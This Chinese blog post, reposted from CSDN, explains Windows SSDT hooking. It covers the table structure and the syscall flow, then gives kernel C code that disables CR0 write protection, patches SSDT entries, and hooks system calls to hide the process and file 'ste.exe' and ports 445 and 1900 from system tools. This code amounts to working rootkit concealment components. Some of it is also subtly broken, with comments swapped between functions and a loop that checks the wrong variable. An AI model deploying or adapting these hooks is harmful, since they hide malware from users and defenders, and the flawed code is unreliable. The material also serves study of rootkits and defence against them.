SSDT Hook技术详解与应用

  • SSDT Hook技术详解与应用

    • 一SSDT简介

      • 1什么是SSDT
      • 2SSDT结构
      • 3应用层调用 Win32 API 的完整执行流程
    • 二SSDT Hook原理
      • 1SSDT Hook原理简介
      • 2进程隐藏与保护
      • 3文件隐藏与保护
      • 4端口隐藏

一、SSDT简介

1、什么是SSDT

​ SSDT 的全称是 System Services Descriptor Table,系统服务描述符表。这个表就是一个把 Ring3 的 Win32 API 和 Ring0 的内核 API 联系起来。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。通过修改此表的函数地址可以对常用 Windows 函数及 API 进行 Hook,从而实现对一些关心的系统动作进行过滤、监控的目的。一些 HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。

​ 在 NT 4.0 以上的 Windows 操作系统中,默认就存在两个系统服务描述表,这两个调度表对应了两类不同的系统服务,这两个调度表为:KeServiceDescriptorTable 和 KeServiceDescriptorTableShadow,其中 KeServiceDescriptorTable 主要是处理来自 Ring3 层得 Kernel32.dll 中的系统调用,而 KeServiceDescriptorTableShadow 则主要处理来自 User32.dll 和 GDI32.dll 中的系统调用,并且 KeServiceDescriptorTable 在 ntoskrnl.exe(Windows 操作系统内核文件,包括内核和执行体层)是导出的,而 KeServiceDescriptorTableShadow 则是没有被 Windows 操作系统所导出,而关于 SSDT 的全部内容则都是通过 KeServiceDescriptorTable 来完成的。

2、SSDT结构

​ 下图是IDA分析的ntoskrnl.exe中导出的KeServiceDescriptorTable 结构。

​ 下面是KeServiceDescriptorTable 的具体含义。

~~~c++
typedef struct _KSYSTEM_SERVICE_TABLE{
PULONG ServiceTableBase; // SSDT (System Service Dispatch Table)的基地址
PULONG ServiceCounterTableBase; // 用于 checked builds, 包含 SSDT 中每个服务被调用的次数
ULONG NumberOfService; // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小
ULONG ParamTableBase; // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;

​ 有了上面的介绍后,我们可以简单的将 KeServiceDescriptor 看做是一个数组了(其实质也就是个数组),**在应用层 ntdll.dll 中的 API 在这个系统服务描述表(SSDT)中都存在一个与之相对应的服务,当我们的应用程序调用 ntdll.dll 中的 API 时,最终会调用内核中与之相对应的系统服务,由于有了 SSDT,所以我们只需要告诉内核需要调用的服务所在 SSDT 中的索引就 OK 了,然后内核根据这个索引值就可以在 SSDT 中找到相对应的服务了,然后再由内核调用服务完成应用程序 API 的调用请求即可。基本结构可以参考下图:

3、应用层调用 Win32 API 的完整执行流程

​ 有了上面的 SSDT 基础后,我们再来看一下在应用层调用 Win32 API(这里主要指的是 ntdll.dll 中的 API)的完整流程,这里我们主要是分析 ntdll.dll 中的 NtQuerySystemInformation 这个 API 的调用流程。

(PS:Windows 任务管理器即是通过这个 API 来获取到系统的进程等等信息的)。

再给出这些个 API 的基本的调用流程

​ 实质上,在 Windows 操作系统中,Ntdll.dll 中的ZwQuerySystemInformation 和 NtQuerySystemInformation 是同一函数,可以通过下面的截图看出,这两个函数的入口地址指向同一区域,他们的函数入口地址都是一样的 。

​ 众所周知 Ntdll.dll 中的 API 都只不过是一个简单的包装函数而已,当 Kernel32.dll 中的 API 通过 Ntdll.dll 时,会完成参数的检查,再调用一个中断(int 2Eh 或者 SysEnter 指令),从而实现从 Ring3 进入 Ring0 层,并且将所要调用的服务号(也就是在 SSDT 数组中的索引值)存放到寄存器 EAX 中,并且将参数地址放到指定的寄存器(EDX)中,再将参数复制到内核地址空间中,再根据存放在 EAX 中的索引值来在 SSDT 数组中调用指定的服务 。

下面来看 ntoskrnl.exe 中的 ZwQuerySystemInformation:

​ 在上面的这幅截图中,可以看到在 Ring0 下的 ZwQuerySystemInformation 将 0ADh 放入了寄存器 eax 中,然后调用了系统服务分发函数 KiSystemService,而这个 KiSystemService 函数则是根据 eax 寄存器中的索引值,然后再 SSDT 数组中找到索引值为 eax 寄存器中存放的值得那个 SSDT 项,最后就是根据这个 SSDT 项中所存放的系统服务的地址来调用这个系统服务。比如在这里就是调用 KeServiceDescriptorTable[0ADh] 处所保存的地址所对应的系统服务 。也就是调用 Ring0 下的 NtQuerySystemInformation 了 。至此,在应用层中调用 NtQuerySystemInformation 的全部流程也就结束了 。

二、SSDT Hook原理

1、SSDT Hook原理简介

​ 有了上面的这部分基础后,就可以来看 SSDT HOOK 的原理了,其实 SSDT Hook 的原理是很简单的,从上面的分析中,我们可以知道在 SSDT 这个数组中,保存了系统服务的地址,比如对于 Ring0 下的 NtQuerySystemInformation 这个系统服务的地址,就保存在 KeServiceDescriptorTable[0ADh] 中,既然是 Hook 的话,我们就可以将这个 KeServiceDescriptorTable[0ADh] 下保存的服务地址替换掉,将我们自己的 Hook 处理函数的地址来替换掉原来的地址,这样当每次调用 KeServiceDescriptorTable[0ADh]时就会调用我们自己的这个 Hook 处理函数了。

下面截图是SSDT Hook之前:

​ 下面的截图则是 SSDT Hook 之后,可以看到将 SSDT 中的服务地址修改为 MyHookNtQuerySystemInformation 了,这样的话,每次系统调用 NtQuerySystemInformation 这个系统服务时,实质上调用的就是MyHookNtQuerySystemInformation 了,而我们为了保证系统的稳定性(至少不让其崩溃),一般会在 MyHookNtQuerySystemInformation 中调用系统中原来的服务,也就是 NtQuerySystemInformation。

下面来看一下备份、修改、还原SSDT的具体代码:

//=====================================================================================//
//Name:KSYSTEM_SERVICE_TABLE  |  KSERVICE_TABLE_DESCRIPTOR 定义                        //
//                                                                                     //
//Descripion: 定义SSDT表结构与获取函数索引值和地址的基本方法                              //
//                                                                                     //
//=====================================================================================//
typedef struct _KSYSTEM_SERVICE_TABLE
{PULONG  ServiceTableBase;        // SSDT (System Service Dispatch Table)的基地址PULONG  ServiceCounterTableBase; // 包含 SSDT 中每个服务被调用的次数ULONG   NumberOfService;     // 服务函数的个数, NumberOfService * 4 就是整个地址表的大小ULONG   ParamTableBase;          // SSPT(System Service Parameter Table)的基地址
} KSYSTEM_SERVICE_TABLE, *PKSYSTEM_SERVICE_TABLE;typedef struct _KSERVICE_TABLE_DESCRIPTOR
{KSYSTEM_SERVICE_TABLE   ntoskrnl; // ntoskrnl.exe 的服务函数KSYSTEM_SERVICE_TABLE   win32k;   // win32k.sys 的服务函数(GDI32.dll/User32.dll 的内核支持)KSYSTEM_SERVICE_TABLE   notUsed1;KSYSTEM_SERVICE_TABLE   notUsed2;
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;#define SYSCALL_FUNCTION(ServiceFunction) KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[SYSCALL_INDEX(ServiceFunction)]
#define SYSCALL_INDEX(ServiceFunction) (*(PULONG)((PUCHAR)ServiceFunction + 1))#define MAX_SYSTEM_SERVICE_NUMBER 0x128
//用来保存 SSDT 中所有的旧的服务函数的地址
ULONG oldSysServiceAddr[MAX_SYSTEM_SERVICE_NUMBER];//=====================================================================================//
//Name: VOID DisableWriteProtect()                                                     //
//                                                                                     //
//Descripion: 用来去掉内存的可写属性,从而实现内存只读                                 //
//                                                                                     //
//=====================================================================================//
VOID DisableWriteProtect(ULONG oldAttr)
{_asm{push eaxmov eax, oldAttrmov cr0, eaxpop eaxsti;}
}//=====================================================================================//
//Name: VOID EnableWriteProtect()                                                      //
//                                                                                     //
//Descripion: 用来去掉内存的只读保护,从而实现可以写内存                               //
//                                                                                     //
//=====================================================================================//
VOID EnableWriteProtect(PULONG pOldAttr)
{ULONG uAttr; _asm { cli;push eaxmov  eax, cr0; mov  uAttr, eax; and  eax, 0FFFEFFFFh; // CR0 16 BIT = 0 mov  cr0, eax; pop eax}; //保存原有的 CRO 属性 *pOldAttr = uAttr;
}//=====================================================================================//
//Name: VOID BackupSysServicesTable()                                                  //
//                                                                                     //
//Descripion: 备份 SSDT 中原有服务的地址,因为在解除 Hook 时需要还原 SSDT 中原有地址   //
//                                                                                     //
//=====================================================================================//
VOID BackupSysServicesTable()
{ULONG i;for(i = 0; (i < KeServiceDescriptorTable->ntoskrnl.NumberOfService) && (i < MAX_SYSTEM_SERVICE_NUMBER); i++){oldSysServiceAddr[i] = KeServiceDescriptorTable->ntoskrnl.ServiceTableBase[i];}
}
//=====================================================================================//
//Name: NTSTATUS InstallSysServiceHook()                                             //
//                                                                                     //
//Descripion: 实现 Hook 的安装,主要是在 SSDT 中将服务地址替换为新服务地址                //
//                                                                                     //
//=====================================================================================//
NTSTATUS InstallSysServiceHook(ULONG oldService, ULONG newService)
{ULONG uOldAttr = 0;EnableWriteProtect(&uOldAttr);SYSCALL_FUNCTION(oldService) = newService;DisableWriteProtect(uOldAttr);return STATUS_SUCCESS;}//=====================================================================================//
//Name: NTSTATUS UnInstallSysServiceHook()                                             //
//                                                                                     //
//Descripion: 实现 Hook 的解除,主要是在 SSDT 中用备份下的服务地址来替换掉 oldService  //
//                                                                                     //
//=====================================================================================//
NTSTATUS UnInstallSysServiceHook(ULONG oldService)
{ULONG uOldAttr = 0;EnableWriteProtect(&uOldAttr);SYSCALL_FUNCTION(oldService) = oldSysServiceAddr[SYSCALL_INDEX(oldService)];DisableWriteProtect(uOldAttr);return STATUS_SUCCESS;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115

2、进程隐藏与保护

NTSTATUS HookNtQuerySystemInformation (IN SYSTEM_INFORMATION_CLASS SystemInformationClass,OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength)
{NTSTATUS rtStatus=STATUS_SUCCESS;NTQUERYSYSTEMINFORMATION pOldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)oldSysServiceAddr[SYSCALL_INDEX(ZwQuerySystemInformation)];rtStatus = pOldNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);if(NT_SUCCESS(rtStatus)){if(SystemProcessInformation==SystemInformationClass){PSYSTEM_PROCESS_INFORMATION pPrevProcessInfo = NULL;PSYSTEM_PROCESS_INFORMATION pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;UNICODE_STRING hideProcessName;RtlInitUnicodeString(&hideProcessName,L"ste.exe");while(pCurrProcessInfo != NULL){//获取当前遍历的 SYSTEM_PROCESS_INFORMATION 节点的进程名称和进程 IDULONG uPID = (ULONG)pCurrProcessInfo->ProcessId;UNICODE_STRING strTmpProcessName;//RtlInitUnicodeString(&strTmpProcessName,L"");strTmpProcessName = pCurrProcessInfo->ImageName;//判断当前遍历的这个进程是否为需要隐藏的进程if(unicodeStrCmp(hideProcessName,strTmpProcessName,strTmpProcessName.Length)){if(pPrevProcessInfo){if(pCurrProcessInfo->NextEntryOffset){//将当前这个进程(即要隐藏的进程)从 SystemInformation 中摘除(更改链表偏移指针实现)pPrevProcessInfo->NextEntryOffset += pCurrProcessInfo->NextEntryOffset;}else{//说明当前要隐藏的这个进程是进程链表中的最后一个pPrevProcessInfo->NextEntryOffset = 0;}}else{//第一个遍历到得进程就是需要隐藏的进程if(pCurrProcessInfo->NextEntryOffset)(PCHAR)SystemInformation += pCurrProcessInfo->NextEntryOffset;elseSystemInformation = NULL;}}//遍历下一个 SYSTEM_PROCESS_INFORMATION 节点pPrevProcessInfo = pCurrProcessInfo;//遍历结束if(pCurrProcessInfo->NextEntryOffset)pCurrProcessInfo = (PSYSTEM_PROCESS_INFORMATION)(((PCHAR)pCurrProcessInfo) + pCurrProcessInfo->NextEntryOffset);elsepCurrProcessInfo=NULL;}}}return rtStatus;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64

3、文件隐藏与保护

NTSTATUS HookZwQueryDirectoryFile(IN HANDLE hFile,IN HANDLE hEvent,IN PIO_APC_ROUTINE IoApcRoutine,IN PVOID IoApcContext,OUT PIO_STATUS_BLOCK pIoStatusBlock,OUT PVOID FileInformationBuffer,IN ULONG FileInformationBufferLength,IN FILE_INFORMATION_CLASS FileInfoClass,IN BOOLEAN ReturnOnlyOneEntry,IN PUNICODE_STRING FileName,IN BOOLEAN RestartQuery)
{NTSTATUS ntStatus;LPFILE_NAMES_INFORMATION fileCurr;LPFILE_NAMES_INFORMATION filePrev;PFILE_BOTH_DIR_INFORMATION pFileInfo;PFILE_BOTH_DIR_INFORMATION pPrevFileInfo;BOOLEAN lastOne;ULONG left;ULONG pos;WCHAR * hideFileName=L"ste.exe";ZWQUERYDIRECTORYFILE pOldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwQueryDirectoryFile)];ntStatus=((ZWQUERYDIRECTORYFILE)(pOldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine,IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,FileInfoClass,ReturnOnlyOneEntry,FileName,RestartQuery);if(!bHideFile)return ntStatus;//RtlInitUnicodeString(&hideFileName,L"ste.exe");if(NT_SUCCESS(ntStatus)&& FileInfoClass==FileBothDirectoryInformation){pFileInfo=(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;pPrevFileInfo=NULL;do {lastOne=!(pFileInfo->NextEntryOffset);//RtlInitUnicodeString(&fileNameWide,pFileInfo->FileName);if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength)){if(lastOne){if(pFileInfo==(PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)ntStatus=0x80000006;elsepPrevFileInfo->NextEntryOffset=0;}else{pos=((ULONG)pFileInfo)-((ULONG)FileInformationBuffer);left=(ULONG)FileInformationBufferLength-pos-pFileInfo->NextEntryOffset;RtlCopyMemory((PVOID)pFileInfo,(PVOID)((char *)pFileInfo+pFileInfo->NextEntryOffset),(ULONG)left);continue;}}pPrevFileInfo=pFileInfo;pFileInfo=(PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo+pFileInfo->NextEntryOffset);//fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);} while(!lastOne);}if (NT_SUCCESS(ntStatus) && FileInfoClass==FileNamesInformation){fileCurr=(LPFILE_NAMES_INFORMATION)FileInformationBuffer;do {lastOne=!(fileCurr->NextEntryOffset); //取偏移//fileNameLength=fileCurr->FileNameLength; //取长度//RtlInitUnicodeString(&fileNameWide,fileCurr->FileName);if(wcharStrCmp(hideFileName,pFileInfo->FileName,14,pFileInfo->FileNameLength)){if(lastOne){if (fileCurr==(LPFILE_NAMES_INFORMATION)FileInformationBuffer)ntStatus=0x80000006; //隐藏elsefilePrev->NextEntryOffset=0;}else{//移动文件偏移pos=((ULONG)fileCurr)-((ULONG)FileInformationBuffer);left=(ULONG)FileInformationBufferLength-pos-fileCurr->NextEntryOffset;RtlCopyMemory((PVOID)fileCurr,(PVOID)((char *)fileCurr+fileCurr->NextEntryOffset),(ULONG)left);continue;}}filePrev=fileCurr;fileCurr=(LPFILE_NAMES_INFORMATION)((char *)fileCurr+fileCurr->NextEntryOffset);}while(!lastOne);}return ntStatus;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101

4、端口隐藏

NTSTATUS HookZwDeviceIoControlFile(IN HANDLE FileHandle,IN HANDLE Event,IN PIO_APC_ROUTINE ApcRoutine,IN PVOID ApcContext,OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG IoControlCode,IN PVOID InputBuffer,IN ULONG InputBufferLength,OUT PVOID OutputBuffer,IN ULONG OutputBufferLength)
{NTSTATUS rtStatus=STATUS_SUCCESS;TCPAddrEntry* TcpTable;TCPAddrExEntry* TcpExTable;UDPAddrEntry* UdpTable;UDPAddrExEntry* UdpExTable;ULONG numconn;ULONG i;ULONG RetLen;UCHAR buff[512];POBJECT_NAME_INFORMATION ObjectName=(PVOID)&buff;ANSI_STRING ObjectNameAnsi;PUCHAR InBuff;ZWDEVICEIOCONTROLFILE pOldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)oldSysServiceAddr[SYSCALL_INDEX(ZwDeviceIoControlFile)];rtStatus = ((ZWDEVICEIOCONTROLFILE)(pOldZwDeviceIoControlFile)) (FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,IoControlCode,InputBuffer,InputBufferLength,OutputBuffer,OutputBufferLength);if(NT_SUCCESS(rtStatus) && IoControlCode==0x120003)//netstat use this IoControlCode{if(NT_SUCCESS(ZwQueryObject(FileHandle,ObjectNameInformation,ObjectName,512,&RetLen))){RtlUnicodeStringToAnsiString(&ObjectNameAnsi,&ObjectName->Name,TRUE);if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,strlen(TCP_PORT_DEVICE))==0){if (((InBuff=(PUCHAR)InputBuffer)==NULL) || (InputBufferLength<17))//InputBuffer is wrongreturn rtStatus;//对于TCP查询,输入缓冲的特征是 InputBuffer[0]为0x00,如果OutputBuffer中已经有了端口数据,则InputBuffer[17]为0x01,//如果是扩展结 构,则InputBuffer[16]为0x02。对于UDP查询,InputBuffer[0]就为0x01了,InputBuffer[16]和 InputBuffer[17]的值和TCP查询是一样的。//-------------------------------------------------------TCP----------------------------------------------------------------------------if ((InBuff[0]==0x00) && (InBuff[17]==0x01)) //TCP端口{if (InBuff[16]!=0x02) //非扩展结构{numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);TcpTable = (TCPAddrEntry*)OutputBuffer;for( i=0; i<numconn; i++ ){if( ntohs(TcpTable[i].tae_ConnLocalPort) == 445 ){//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(TcpTable[i].tae_ConnLocalPort));memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );numconn--;i--;}}IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);}if(InBuff[16]==0x02)//扩展结构{numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);TcpExTable = (TCPAddrExEntry*)OutputBuffer;for( i=0; i<numconn; i++ ){if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 445 )if(TcpExTable[i].pid==0){//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(TcpExTable[i].tae_ConnLocalPort));memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );numconn--;i--;}}IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);}}
//-----------------------------------------------------------UDP---------------------------------------------------------------if ((InBuff[0]==0x01) && (InBuff[17]==0x01)) //TCP端口{if (InBuff[16]!=0x02) //非扩展结构{numconn = IoStatusBlock->Information/sizeof(UDPAddrEntry);UdpTable = (UDPAddrEntry*)OutputBuffer;for( i=0; i<numconn; i++ ){if( ntohs(UdpTable[i].tae_ConnLocalPort) == 1900 ){//DbgPrint("JiurlPortHide: HidePort %d/n", ntohs(UdpTable[i].tae_ConnLocalPort));memcpy( (UdpTable+i), (UdpTable+i+1), ((numconn-i-1)*sizeof(UDPAddrEntry)) );numconn--;i--;}}IoStatusBlock->Information = numconn*sizeof(UDPAddrEntry);}if(InBuff[16]==0x02)//扩展结构{numconn = IoStatusBlock->Information/sizeof(UDPAddrExEntry);UdpExTable = (UDPAddrExEntry*)OutputBuffer;for( i=0; i<numconn; i++ ){if( ntohs(UdpExTable[i].tae_ConnLocalPort) == 1900 ){//DbgPrint("JiurlPortHide: HidePort %d/n",ntohs(UdpExTable[i].tae_ConnLocalPort));memcpy( (UdpExTable+i), (UdpExTable+i+1), ((numconn-i-1)*sizeof(UDPAddrExEntry)) );numconn--;i--;}}IoStatusBlock->Information = numconn*sizeof(UDPAddrExEntry);}}}}}return rtStatus;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
                 <link href="https://csdnimg.cn/release/phoenix/mdeditor/markdown_views-7b4cdcb592.css" rel="stylesheet"></div>
</article>

注明:转载至https://blog.csdn.net/flydragonhero/article/details/61193692

ssdt 表修改详细相关推荐

  1. [HTC Touch Diamond/dopod S900/O2 XDA Ignito] 钻石详细注册表修改

    这段时间有空学着自己做钻石的6.5rom,从各位前辈那里学到了很多,在此把自己收集起来的注册表修改项贴出,希望对各位有用处 ; 今日标题栏显示电池或者显示时间 ; 0: 显示电池, 1:显示时间 ;= ...

  2. Windows注册表修改实例完全手册(下)

    注 册表是Windows操作系统的核心.它实质上是一个庞大的数据库,存放有计算机硬件和全部配置信息.系统和应用软件的初始化信息.应用软件和文档文件的 关联关系.硬件设备说明以及各种网络状态信息和数据. ...

  3. ssdt 表结构及hook的一般理解

    1       Ssdt表的基本结构 KeServiceDescriptorTable 首地址:8055D700 0: kd> dd KeServiceDescriptorTable 8055d ...

  4. SQL Server详细使用教程(包含启动SQL server服务、建立数据库、建表的详细操作) 非常适合初学者

    文章目录 目录 前言 一.启动SQL server服务的三种方法 1.不启动SQL server服务的影响 2.方法一:利用cmd启动SQL server服务 3.方法二:利用SQL Server配置 ...

  5. PPC注册表修改详解集合

    PPC注册表修改详解集合 没事情做,发个帖子..转发的,不知道原作者是谁了,向他(们)致敬 手机 手机社区 手机论坛 手机游戏 主题 电子书 主题 软件 电子书 铃声 图片 手机证书 刷机 技术测评 ...

  6. mysql创建表分区详细介绍及示例

    mysql创建表分区详细介绍及示例 1. 基本概念 1.1 什么是表分区? 1.2 表分区与分表的区别 1.3 表分区有什么好处? 1.4 分区表的限制因素 2. 如何判断当前MySQL是否支持分区? ...

  7. 杀毒软件智能主动防御的软肋——无驱恢复系统SSDT表

    8.3 杀毒软件智能主动防御的软肋--无驱恢复系统SSDT表 大部分的杀毒软件其内置的主动防御功能,通常考虑到用户易用性的问题,都是采用的智能HIPS拦截,也就是说内置一些HIPS拦截规则,智能判断未 ...

  8. 通过注册表修改默认浏览器设置

    2019独角兽企业重金招聘Python工程师标准>>> 默认浏览器被改成搜狗浏览器了, 使用IE恢复也不行(IE6). 上网查了下, 有通过注册表修改 HKEY_CLASSES_RO ...

  9. mysql大表修改表名原理_MySQL修改大表工具pt-online-schema-change原理

    MySQL修改大表工具pt-online-schema-change的使用限制: 1).如果修改表有外键,除非使用 –alter-foreign-keys-method 指定特定的值,否则工具不予执行 ...

  10. Win7 64位的SSDTHOOK(1)---SSDT表的寻找

    最近在学习64位驱动,涉及到了SSDT的知识,结果发现64位下的SSDT和32位下的SSDT有所不同. 开始发现64位下的KeServiceDescriptorTable是未导出的函数.首先要找到Ke ...

最新文章

  1. [Spring 深度解析]第2章 Spring基础
  2. Android 5.0 Lollipop介绍
  3. 联想笔记本ideapad700 15isk添加内存
  4. iOS实现自定义的弹出视图(popView)
  5. 统计字符[2] (15 分)
  6. linux内核配置成qspi挂载,Zynq-Linux移植学习笔记之十-qspi驱动配置
  7. 【转】测试用例设计——WEB通用测试用例
  8. 主表和附表的关联关系,普通字段就可以实现为什么还要有主键外键?之间有什么关系
  9. 一个黑客都要学习什么语言呢?
  10. 同济版《线性代数》引发激烈争议!
  11. linux中sendto函数路径,Linux下send、sendto、sendmsg函数分析
  12. Apache Spark 完全替代传统数仓的技术挑战及实践
  13. 学到了林海峰,武沛齐讲的Day16完
  14. 网站备案各个管局的审核时间多久?
  15. 09 conventional exercise
  16. python抓取google搜索结果
  17. jenkins+Warnings Next Generation Plugin构建代码自动化检测
  18. 谷歌pay 手续费_您可以使用Google Pay进行的所有操作
  19. 2023最新无人机专业现状分析及完整“产教融合”人才培养解决方案(超详细)
  20. Excel 设置表格备选项,以及根据值改变表格颜色

热门文章

  1. 09-Further Delays Hit Syria Chemical Weapons Disarmament
  2. 「75页PDF免费下载」面向所有人的机器学习科普大全
  3. CnOpenData中国上市公司公告数据简介
  4. 一些有趣但少有人知的 Python 特性
  5. python笔记本好_如何使用 Python 分析笔记本电脑上的 100 GB 数据
  6. 精灵图在线测量,自动生成想要图片的宽高及位置
  7. 动态电压恢复器(DVR)模型 Matlab/simulink
  8. 《计算机网络基础》笔记 -----应用层(六)
  9. php if相关标签,dedecms模板中运用dede标签时使用php和if判断语句的方法
  10. 集合--TreeSet类比较器排序的实现方式及如何保证元素的排序和唯一性